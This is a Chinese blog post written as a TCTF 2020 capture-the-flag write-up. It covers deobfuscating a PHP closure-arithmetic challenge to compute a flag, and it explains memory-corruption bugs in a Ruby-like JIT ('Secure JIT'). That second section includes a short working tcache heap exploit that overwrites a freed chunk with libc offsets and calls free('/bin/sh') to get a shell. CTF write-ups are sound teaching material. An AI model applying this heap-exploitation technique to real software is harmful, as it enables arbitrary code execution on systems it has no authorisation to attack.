发现已经一年没更新过博客了……过来填点坑。
TCTF 2020 从早上 10 点开始,持续 24 小时,我和队友们在 108 打了一整天,凌晨 4 点撑不住睡着了。最后的结果是新星赛第二名,KoH 方面没打过 NeSE,无奈没研究出来如何高效用逻辑门接线接出 S 盒。
Unlimited
题目给出了用 PHP-Parser 生成的 PHP 语法树。看了一下这个轮子的介绍,它能生成两种输出:一种 JSON,一种是题目给出的私有格式。这个轮子居然只能加载 JSON 输出,自己的私有格式没法加载进去……于是把编译原理大作业里的 Pascal 编译器改了改,现撸了一个语法分析器,把这个格式读进去之后再按 JSON 输出。用 PHP-Parser 加载之后,再 PrettyPrint 出 PHP 代码。改一些变量名,解一解混淆后得到下面的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| <?php
$inc_iter = function ($iter) {
return function ($func) use ($iter) {
return function ($arg) use ($func, $iter) {
return $func($iter($func)($arg));
};
};
};
$add1 = function ($x) {
return $x + 1;
};
$add_iter = function ($iter_b) {
return function ($iter_a) use ($iter_b) {
return function ($func) use ($iter_b, $iter_a) {
return function ($arg) use ($func, $iter_b, $iter_a) {
return $iter_b($func)($iter_a($func)($arg));
};
};
};
};
$del1 = function ($x) {
return $x - 1;
};
$zero_iter = function ($func) {
return function ($arg) {
return $arg;
};
};
$mul3_mod7 = function ($x) {
return $x * 3 % 7;
};
$mul_iter = function ($lIlIll1111) use ($add_iter, $zero_iter) {
return function ($II1IIl1Ill) use ($lIlIll1111, $add_iter, $zero_iter) {
return $lIlIll1111($add_iter($II1IIl1Ill))($zero_iter);
};
};
$one_iter = function ($func) {
return function ($arg) use ($func) {
return $func($arg);
};
};
$inc = function ($x) {
return ($x + 1) % 1000000007;
};
$martix = array(array($add_iter($inc_iter...;
for ($loop_iter = $zero_iter;
$loop_iter($add1)(998244353) < $loop_iter($del1)(6755399441055744);
$loop_iter = $inc_iter($loop_iter)) {
$src_line = $martix[$loop_iter($mul3_mod7)(1)];
$dst_line = $martix[$mul_iter($loop_iter)($loop_iter)($mul3_mod7)(1)];
$dst_line[0] = $mul_iter($prev_line[0])($src_line[0]);
$dst_line[0] = $add_iter($mul_iter($src_line[3])($prev_line[1]))($dst_line[0]);
$dst_line[8] = $mul_iter($prev_line[8])($src_line[8]);
$dst_line[8] = $add_iter($dst_line[8])($mul_iter($prev_line[6])($src_line[2]));
$dst_line[7] = $mul_iter($prev_line[7])($src_line[4]);
$dst_line[7] = $add_iter($mul_iter($src_line[1])($prev_line[6]))($dst_line[7]);
$dst_line[1] = $mul_iter($prev_line[1])($src_line[4]);
...
$prev_line = $dst_line;
}
echo 'flag{';
for ($loop_iter = $one_iter;
$loop_iter($add1)(-9);
$loop_iter = $add_iter($one_iter)($loop_iter)) {
echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}-";
}
echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}}";
|
可以先从 $zero_iter 和 $one_iter 下手。这两个函数可以看成同一类 iter 函数,二者都是两层闭包。若以 $iter($func)($arg) 的形式调用,则一个会调用 $func($arg) 0 次,另一个调用 1 次。
再看 $add_iter 函数。该函数是一个四层闭包,若前两层的参数是两个 iter 函数,那么里面两层会产生一个新的 iter 函数,此 iter 调用 $func($arg) 的次数恰好是两个外层 iter 函数调用次数的总和。同样的方法可以看出 $inc_iter 是自增次数,$mul_iter 是次数相乘。
最下面的循环实际上是 3×3 矩阵乘法,矩阵里的元素都是 iter 函数,矩阵元素的值反映在 iter 的次数上。每次从 $martix 中选出一个矩阵,和 $prev_line 相乘。若记 $prev_line 的矩阵是 P,则:
1
| P = A0 * (A1 * A3 * A2 * A6 * A4 * A5) * A1 * …
|
先算出 A1 * … * A5 六个矩阵的积,再用快速幂计算出最后结果。
flag 格式是矩阵结果模 1000000007,并倒过来用减号连在一起。
Flag:flag{432734187-186275980-552238391-407500134-680581127-536698178-262495339-821428559-850467550}
Secure JIT
这个题是一个类 Ruby 语言的 JIT。从 GitHub 上把这个 rubi 的源码扒下来,发现这个 JIT 里面遍地是漏洞,像 function、string 之类的声明都最多只能容纳 256 个,多了就可以溢出。接着研究这个 JIT 对库函数的包装(stdlib.c),发现里面 Array 的声明是 malloc 包装出来的,而且 JIT 里面可以直接调用 free,Array 的读写甚至没有任何边界检查。libc 版本是 2.27,有 tcache,最后此题由队友雷神(ID:N0p)解出(毕竟我不懂 Pwn)。
1
2
3
4
5
6
7
8
9
| x = Array(1024)
y = Array(30)
z = Array(128)
free(y)
y[0] = z[0] - 1935320 + 1939664
y = Array(30)
y = Array(30)
y[0] = z[0] - 1935320 + 250448
free("/bin/sh")
|
Flag:flag{did_you_try_to_fuzz_it_haha_how_many_memory_corruption_bugs_did_you_find}